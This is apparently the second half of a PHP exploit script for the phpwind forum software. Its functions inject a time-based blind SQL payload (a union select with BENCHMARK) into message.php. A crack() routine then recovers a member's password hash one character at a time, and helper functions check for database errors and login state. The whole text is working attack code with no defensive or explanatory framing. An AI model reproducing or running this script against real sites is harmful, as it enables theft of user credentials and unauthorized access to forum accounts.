phpwind Exp 漏洞利用(2)
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
function sqlject($sql){
global $uid;
$data='action=pubmsg&readmsg=0)';
$data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
$echo=send($data,'message.php');
preg_match("/Total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
function test(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'MySQL Server Error')) return 1;
else return 0;
}
function islogin(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"')) return 0;
else return 1;
}
function crack($i){
global $hashtable;
$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
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